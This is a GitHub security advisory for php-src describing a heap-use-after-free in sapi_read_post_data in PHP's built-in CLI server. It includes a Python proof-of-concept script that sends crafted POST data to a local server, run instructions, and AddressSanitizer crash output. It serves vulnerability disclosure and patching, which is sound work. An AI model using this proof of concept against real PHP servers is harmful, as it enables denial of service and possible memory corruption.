GHSA-4w77-75f9-2c8w: Heap-Use-After-Free in sapi_read_post_data Processing in CLI SAPI Interface
- Published:
- Fetched:
- Updated:
- Affects:
- php php-src
https://github.com/php/php-src/security/advisories/GHSA-4w77-75f9-2c8w ↗
Heap-Use-After-Free in sapi_read_post_data Processing in CLI SAPI Interface ### Summary A heap-use-after-free vulnerability in the sapi_read_post_data function within PHP’s CLI server allows an attacker to potentially exploit memory safety issues during POST request processing. ### Details The vulnerability resides in the `php_cli_server_client_populate_request_info` function in PHP's CLI SAPI. This results in the handling of a dangling `content_type` pointer at line 175 of SAPI.c. The CLI improperly manages memory during the processing of content_type, leading to a use-after-free condition that could result in memory corruption. The issue is triggered by specific crafted POST data, as shown by the following AddressSanitizer output: ``` ==82343==ERROR: AddressSanitizer: heap-use-after-free on address 0x50600001ecf8 at pc 0x55555581b44f bp 0x7fffffffdcf0 sp 0x7fffffffd4b8 READ of size 34 at 0x50600001ecf8 thread T0 #1 0x5555563bfadb in sapi_read_post_data /php-8.3.13/main/SAPI.c:175:43 #2 0x5555563bfadb in sapi_activate /php-8.3.13/main/SAPI.c:469:4 ``` ### PoC 1. `exploit.py` ```py import requests url = 'http://localhost:8080/exploit.php' php_crash_data = "AAAAAAA" print("Sending payload 1...") hex_response = requests.post(url, data={'input': php_crash_data}) print("\nSending payload 2...") raw_response = requests.post(url, data=php_crash_data) ``` 2. `exploit.php` ```php ``` 3. Start the PHP server compiled with ASAN: In the directory containing exploit.php, run: `./sapi/cli/php -S localhost:8080 &` 2. Run the exploit: Execute the PoC script by running: `python3 exploit.py` Resulted in this output: ```c root@32fbd16f3ed1:/php-8.3.13# ./sapi/cli/php -S localhost:8080 & [1] 82343 root@32fbd16f3ed1:/php-8.3.13# [Sat Nov 9 07:08:06 2024] PHP 8.3.13 Development Server (http://localhost:8080) started root@32fbd16f3ed1:/php-8.3.13# python3 exploit.py Sending payload 1... [Sat Nov 9 07:08:14 2024] [::1]:54356 Accepted [Sat Nov 9 07:08:14 2024] [::1]:54356 [200]: POST /exploit.php [Sat Nov 9 07:08:14 2024] [::1]:54356 Closing Sending payload 2... [Sat Nov 9 07:08:14 2024] [::1]:54360 Accepted ================================================================= ==82343==ERROR: AddressSanitizer: heap-use-after-free on address 0x50600001ecf8 at pc 0x55555581b44f bp 0x7fffffffdcf0 sp 0x7fffffffd4b8 READ of size 34 at 0x50600001ecf8 thread T0 #0 0x55555581b44e in strlen (/php-8.3.13/sapi/cli/php+0x41b44e) (BuildId: 712b3d4fbdcb978a011679cd1c90ada321af14cf) #1 0x5555563bfadb in sapi_read_post_data /php-8.3.13/main/SAPI.c:175:43 #2 0x5555563bfadb in sapi_activate /php-8.3.13/main/SAPI.c:469:4 #3 0x555556394fce in php_request_startup /php-8.3.13/main/main.c:1795:3 #4 0x555556c42e7b in php_cli_server_request_startup /php-8.3.13/sapi/cli/php_cli_server.c:2236:17 #5 0x555556c42e7b Patched: 8.1.31, 8.2.26, 8.3.14